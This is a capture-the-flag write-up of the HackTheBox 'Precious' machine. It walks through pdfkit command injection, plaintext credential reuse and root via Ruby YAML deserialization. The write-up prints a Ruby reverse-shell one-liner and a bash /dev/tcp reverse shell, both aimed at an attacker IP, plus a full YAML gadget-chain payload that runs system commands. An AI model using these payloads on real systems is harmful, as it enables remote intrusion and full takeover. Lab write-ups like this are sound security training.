Precious
Machine abstract
This Linux system hosts a web application capable of generating PDF files from websites using pdfkit. Unfortunately, a vulnerability in pdfkit exposes the application to Command Injection, potentially leading to Remote Code Execution (RCE).Once in the machone a plaintext password is stored in a user’s home directory, posing a risk for lateral movement to other users on the system.The other user had permissions to execute a vulnerable Ruby script lacks password protection but requires a YAML file containing a payload granting root privileges to this user.
Skills Learned
- Command Injection (Command Injection in pdfkit )
- Analysing and identifying vulnerable Ruby code
Enumeration
nmap
┌──(root㉿kali)-[/home/…/Documents/CTFs/HackTheBox/Precious]
└─# cat nmap.scans
# Nmap 7.94 scan initiated Wed Apr 24 20:10:23 2024 as: nmap -vv -sV -oN nmap.scans 10.10.11.189
Nmap scan report for precious.htb (10.10.11.189)
Host is up, received reset ttl 63 (0.25s latency).
Scanned at 2024-04-24 20:10:25 EAT for 13s
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open http syn-ack ttl 63 nginx 1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Apr 24 20:10:38 2024 -- 1 IP address (1 host up) scanned in 15.03 seconds
There were 2 ports open , port 22 and port 80
HTTP
With port 80, it seems like a webpage that convert web urls to pdf
When you try to analyze the response of the pdf , it exposes the technology behind and the version number pdfkit v0.8.6
and the server behind it X-Runtime: Ruby
Running exiftool on the downloaded pdf, it was also exposing the version number pdfkit
┌──(root㉿kali)-[/home/sire/Desktop]
└─# exiftool 7kt7ndnvrj7uh353nujyz93b808h4nrh.pdf
ExifTool Version Number : 12.63
File Name : 7kt7ndnvrj7uh353nujyz93b808h4nrh.pdf
Directory : .
File Size : 4.6 kB
File Modification Date/Time : 2024:04:24 20:22:44+03:00
File Access Date/Time : 2024:04:24 20:22:44+03:00
File Inode Change Date/Time : 2024:04:24 20:22:44+03:00
File Permissions : -rw-r--r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Page Count : 1
Creator : Generated by pdfkit v0.8.6
With this PoC I was able to get command injection with curl
We successfully receive a callback on our HTTP server, verifying that we have RCE on the target machine.
# Foothold Since the application was running on ruby, I tried using ruby payload to get a reverse shell with revshell though I URL encoded it
1
ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.14.17",4422))'
Started a Netcat listener on port 9001 and submit the payload on the web application using burp and successfully receive a shell as ruby ..
Lateral Movement
After stabilizing the shell I pocked around and a .bundle
directory in user’s home directory, which commonly hosts configuration files used by Gem and other Ruby repositories.Inside the aforementioned directory, we can find a config file which reveals some plain-text credentials for the henry user. This configuration file typically stores bundler options, allowing users to save their credentials for each Gem source.
Privilege Escalation
When typing sudo -l
we can see a command we can run as root without any privileges
Checking the ruby file , U can see it requires a certain file
1
2
3
4
5
6
7
....
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
....
Runing the script, It requres the dependencies.yml
Hunting for the dependencies.yml file, I found a sample folder with dependencies.yml and running the script, I got this
1
2
3
4
henry@precious:/opt/sample$ /usr/bin/ruby /opt/update_dependencies.rb
Installed version differs from the one specified in file: yaml
Installed version is equals to the one specified in file: pdfkit
henry@precious:/opt/sample$
So this module provides a Ruby interface for data serialization in YAML format. Do not use YAML to load untrusted data. Doing so is unsafe and could allow malicious input to execute arbitrary code inside your application. Please see doc/security.rdoc for more information. A search for Ruby deserialisation yields a popular repository, hosting an array of payloads useful for our practices; they are all bound to versions between 2.0 and 3.0 , so we first check what version the target machine is running.
1
2
henry@precious:/opt/sample$ ruby -v
ruby 2.7.4p191 (2021-07-07 revision a21a3b7d23) [x86_64-linux-gnu]
And this this version seems vulnerabl to this payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: id
method_id: :resolve
With a bash paload bash -c "bash -i >& /dev/tcp/10.10.14.17/4444 0>&1"
I was able to get a connection back with root privileges
....
socket: !ruby/module 'Kernel'
method_id: :system
git_set: bash -c "bash -i >& /dev/tcp/10.10.14.17/4444 0>&1"
method_id: :resolve
...
After running the script, I was able to get a reverse shell back as root
## 🐞 CVE-2022-25765